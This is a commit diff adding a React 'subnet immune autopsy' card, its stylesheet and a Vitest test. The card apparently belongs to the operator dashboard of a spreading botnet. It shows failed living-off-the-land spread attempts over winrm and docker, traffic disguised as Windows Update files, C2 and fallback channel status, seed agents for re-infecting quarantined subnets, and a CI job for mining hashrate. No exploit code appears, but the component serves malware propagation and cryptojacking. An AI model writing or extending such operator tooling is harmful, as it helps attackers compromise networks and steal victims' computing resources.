Complete subnet immune autopsy UI and prefix normalization.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Normalize /24 labels for autopsy API and cred-graph triggers; add Emberwake/Path Tracer autopsy cards and Vitest coverage for Seer feed consumers.
This commit is contained in:
AetherForge
2026-06-07 09:22:56 -07:00
parent 5853f80c48
commit 588735e7e7
7 changed files with 361 additions and 1 deletions

View File

@@ -0,0 +1,84 @@
.subnet-autopsy-card {
--deck-card-accent-bar: #f43f5e;
margin-top: 1rem;
padding: 1rem 1.1rem;
border-left: 3px solid var(--deck-card-accent-bar, #f43f5e);
}
.subnet-autopsy-card--compact {
font-size: 0.85rem;
}
.subnet-autopsy-card--loading {
opacity: 0.7;
font-family: var(--font-mono, monospace);
font-size: 0.8rem;
}
.subnet-autopsy-header h3 {
margin: 0.2rem 0 0.5rem;
font-size: 1rem;
}
.subnet-autopsy-eyebrow {
font-size: 0.65rem;
letter-spacing: 0.12em;
color: #f43f5e;
font-family: var(--font-tech, monospace);
}
.subnet-autopsy-cause {
white-space: pre-wrap;
font-size: 0.82rem;
line-height: 1.45;
margin: 0 0 0.75rem;
color: #e8edf5;
}
.subnet-autopsy-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
gap: 0.5rem 1rem;
margin-bottom: 0.75rem;
}
.subnet-autopsy-label {
display: block;
font-size: 0.62rem;
text-transform: uppercase;
letter-spacing: 0.08em;
color: #8899aa;
margin-bottom: 0.15rem;
}
.subnet-autopsy-value {
font-family: var(--font-mono, monospace);
font-size: 0.78rem;
}
.subnet-autopsy-attempts ul,
.subnet-autopsy-gossip ul {
margin: 0.25rem 0 0;
padding-left: 1.1rem;
font-family: var(--font-mono, monospace);
font-size: 0.75rem;
}
.subnet-autopsy-attempts li.fail {
color: #ff8a7a;
}
.subnet-autopsy-attempts li.ok {
color: #7dffb2;
}
.subnet-autopsy-vaccination {
margin-top: 0.65rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.subnet-autopsy-vaccination p {
margin: 0.2rem 0 0;
font-size: 0.8rem;
}

View File

@@ -0,0 +1,61 @@
import { render, screen, waitFor } from '@testing-library/react';
import { describe, expect, it, vi, beforeEach } from 'vitest';
import * as api from '../../api/client';
import SubnetAutopsyCard from './SubnetAutopsyCard';
describe('SubnetAutopsyCard', () => {
beforeEach(() => {
vi.restoreAllMocks();
});
it('renders cause-of-death and vaccination lane for paused subnet', async () => {
vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
prefix: '10.0.0',
triggered_at: '2026-06-07T12:00:00Z',
fail_count: 5,
lotl_attempts: [{ tier: 'winrm', ok: false, error: 'denied' }],
wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
persona: 'silent',
erasure_fallback: { erasure_lanes_enabled: true, available_as_fallback: true },
gossip_whispers: [{ tier: 'docker', condition: 'defender_on', reason: 'lan gossip' }],
cause_of_death: 'Subnet 10.0.0 immune pause: 5 spread failures triggered 24h quarantine.',
vaccination_lane: {
target_subnet: '10.0.0',
seed_agent_id: 'seed-1',
seed_agent_name: 'Seed Hop',
egress_agent_id: 'seed-1',
join_lane: 'do_peer',
score: 0.82,
},
});
render(<SubnetAutopsyCard subnet="10.0.0.x" />);
await waitFor(() => {
expect(screen.getByText(/immune pause/i)).toBeInTheDocument();
});
expect(screen.getByText(/Seed Hop/)).toBeInTheDocument();
expect(screen.getByText(/winrm/)).toBeInTheDocument();
expect(screen.getByText(/docker @ defender_on/)).toBeInTheDocument();
});
it('renders nothing when subnet is not paused', async () => {
vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
prefix: '10.0.0',
triggered_at: '2026-06-07T12:00:00Z',
fail_count: 2,
lotl_attempts: [],
wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
persona: 'balanced',
erasure_fallback: { erasure_lanes_enabled: false, available_as_fallback: false },
gossip_whispers: [],
cause_of_death: '',
});
const { container } = render(<SubnetAutopsyCard subnet="10.0.0" />);
await waitFor(() => {
expect(api.api.getSubnetAutopsy).toHaveBeenCalled();
});
expect(container).toBeEmptyDOMElement();
});
});

View File

@@ -0,0 +1,136 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { SubnetAutopsyPacket } from '../../types';
import { HelpTip } from '../HelpTip';
import './SubnetAutopsyCard.css';
interface Props {
subnet: string;
compact?: boolean;
}
export default function SubnetAutopsyCard({ subnet, compact = false }: Props) {
const [packet, setPacket] = useState<SubnetAutopsyPacket | null>(null);
const [error, setError] = useState('');
const [loading, setLoading] = useState(false);
useEffect(() => {
const prefix = subnet.trim();
if (!prefix) {
setPacket(null);
return;
}
let cancelled = false;
setLoading(true);
setError('');
api.getSubnetAutopsy(prefix)
.then((pkt) => {
if (!cancelled) setPacket(pkt);
})
.catch((e: unknown) => {
if (!cancelled) {
setError(e instanceof Error ? e.message : 'Autopsy unavailable');
setPacket(null);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => { cancelled = true; };
}, [subnet]);
if (!subnet.trim()) return null;
if (loading && !packet) {
return <div className="subnet-autopsy-card subnet-autopsy-card--loading">Loading immune autopsy</div>;
}
if (error && !packet) {
return null;
}
if (!packet || packet.fail_count < 5) {
return null;
}
const lane = packet.vaccination_lane;
return (
<section
className={`subnet-autopsy-card operator-deck-card${compact ? ' subnet-autopsy-card--compact' : ''}`}
aria-label={`Subnet immune autopsy for ${packet.prefix}`}
>
<header className="subnet-autopsy-header">
<span className="subnet-autopsy-eyebrow">IMMUNE RESPONSE</span>
<h3>
/24 Autopsy {packet.prefix}.x
<HelpTip field="subnet_immune_autopsy" />
</h3>
</header>
<p className="subnet-autopsy-cause">{packet.cause_of_death}</p>
<div className="subnet-autopsy-grid">
<div>
<span className="subnet-autopsy-label">Persona</span>
<span className="subnet-autopsy-value">{packet.persona}</span>
</div>
<div>
<span className="subnet-autopsy-label">WSUS mimic</span>
<span className="subnet-autopsy-value">
{packet.wsus_mimic.format_mimic_enabled ? 'cab.partial on' : 'off'}
{packet.wsus_mimic.recent_join_lane ? ` · ${packet.wsus_mimic.recent_join_lane}` : ''}
</span>
</div>
<div>
<span className="subnet-autopsy-label">Erasure fallback</span>
<span className="subnet-autopsy-value">
{packet.erasure_fallback.available_as_fallback ? 'RS lanes ready' : 'C2 primary'}
</span>
</div>
<div>
<span className="subnet-autopsy-label">Failures</span>
<span className="subnet-autopsy-value">{packet.fail_count} 24h pause</span>
</div>
</div>
{packet.lotl_attempts.length > 0 && (
<div className="subnet-autopsy-attempts">
<span className="subnet-autopsy-label">Last LOTL attempts</span>
<ul>
{packet.lotl_attempts.map((a, i) => (
<li key={`${a.tier}-${i}`} className={a.ok ? 'ok' : 'fail'}>
{a.tier}
{a.agent_name ? ` (${a.agent_name})` : ''}
{a.ok ? ' ✓' : `${a.error ?? ''}`}
</li>
))}
</ul>
</div>
)}
{packet.gossip_whispers.length > 0 && (
<div className="subnet-autopsy-gossip">
<span className="subnet-autopsy-label">Atlas gossip whispers</span>
<ul>
{packet.gossip_whispers.map((h, i) => (
<li key={`${h.tier}-${h.condition}-${i}`}>
{h.tier} @ {h.condition}
{h.reason ? `${h.reason}` : ''}
</li>
))}
</ul>
</div>
)}
{lane && (
<div className="subnet-autopsy-vaccination">
<span className="subnet-autopsy-label">Vaccination lane</span>
<p>
Route via <strong>{lane.seed_agent_name ?? lane.seed_agent_id.slice(0, 8)}</strong>
{lane.join_lane ? ` · ${lane.join_lane}` : ''}
{lane.erasure_lanes_enabled ? ' · RS lanes' : ''}
{lane.score ? ` · score ${lane.score.toFixed(2)}` : ''}
</p>
</div>
)}
</section>
);
}